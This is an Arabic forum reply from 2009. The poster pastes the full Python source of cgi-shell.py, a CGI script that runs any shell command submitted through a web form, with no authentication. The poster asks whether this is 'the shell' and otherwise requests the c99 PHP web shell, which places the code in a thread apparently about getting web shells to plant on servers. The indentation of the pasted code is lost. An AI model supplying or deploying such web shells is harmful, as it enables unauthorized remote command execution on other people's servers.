عرض مشاركة واحدة
قديم 10-19-2009, 05:12 PM   رقم المشاركة : 17 (permalink)
معلومات العضو
HORN
 
الصورة الرمزية HORN
 

 

 
إحصائية العضو





HORN غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
HORN is on a distinguished road

افتراضي


السلام
اولن مشكوووووووووووووور علا هاذا الشرح

ثانين ابي اعرف هاذا هو الشيل



#!/usr/bin/python
# 07-07-04
# v1.0.0

# cgi-shell.py
# A simple CGI that executes arbitrary shell commands.


# Copyright Michael Foord
# You are free to modify, use and relicense this code.

# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....
# Use at your own risk !!!

# E-mail michael AT foord DOT me DOT uk
# Maintained at http://www.voidspace.org.uk/atlantib...thonutils.html

"""
A simple CGI script to execute shell commands via CGI.
"""
################################################## ##############
# Imports
try:
import cgitb; cgitb.enable()
except:
pass
import sys, cgi, os
sys.stderr = sys.stdout
from time import strftime
import traceback
from StringIO import StringIO
from traceback import print_exc

################################################## ##############
# constants

fontline = '<FONT COLOR=#424242 style="font-family:times;font-size:12pt;">'
versionstring = 'Version 1.0.0 7th July 2004'

if os.environ.has_key("SCRIPT_NAME"):
scriptname = os.environ["SCRIPT_NAME"]
else:
scriptname = ""

METHOD = '"POST"'

################################################## ##############
# Private functions and variables

def getform(valuelist, theform, notpresent=''):
"""This function, given a CGI form, extracts the data from it, based on
valuelist passed in. Any non-present values are set to '' - although this can be changed.
(e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""
data = {}
for field in valuelist:
if not theform.has_key(field):
data[field] = notpresent
else:
if type(theform[field]) != type([]):
data[field] = theform[field].value
else:
values = map(lambda x: x.value, theform[field]) # allows for list type values
data[field] = values
return data


theformhead = """<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD>
<BODY><CENTER>
<H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1>
<B><I>By Fuzzyman</B></I><BR>
"""+fontline +"Version : " + versionstring + """, Running on : """ + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'

theform = """<H2>Enter Command</H2>
<FORM METHOD=\"""" + METHOD + '" action="' + scriptname + """\">
<input name=cmd type=text><BR>
<input type=submit value="Submit"><BR>
</FORM><BR><BR>"""
bodyend = '</BODY></HTML>'
errormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'

################################################## ##############
# main body of the script

if __name__ == '__main__':
print "*******-type: text/html" # this is the header to the server
print # so is this blank line
form = cgi.FieldStorage()
data = getform(['cmd'],form)
thecmd = data['cmd']
print theformhead
print theform
if thecmd:
print '<HR><BR><BR>'
print '<B>Command : ', thecmd, '<BR><BR>'
print 'Result : <BR><BR>'
try:
child_stdin, child_stdout = os.popen2(thecmd)
child_stdin.close()
result = child_stdout.read()
child_stdout.close()
print result.replace('\n', '<BR>')

except Exception, e: # an error in executing the command
print errormess
f = StringIO()
print_exc(file=f)
a = f.getvalue().splitlines()
for line in a:
print line

print bodyend


"""
TODO/ISSUES



CHANGELOG

07-07-04 Version 1.0.0
A very basic system for executing shell commands.
I may expand it into a proper 'environment' with session persistence...
"""




ولا لا


وذا كان مهو هو ابي تعطيني شيلc99


بلز

   

رد مع اقتباس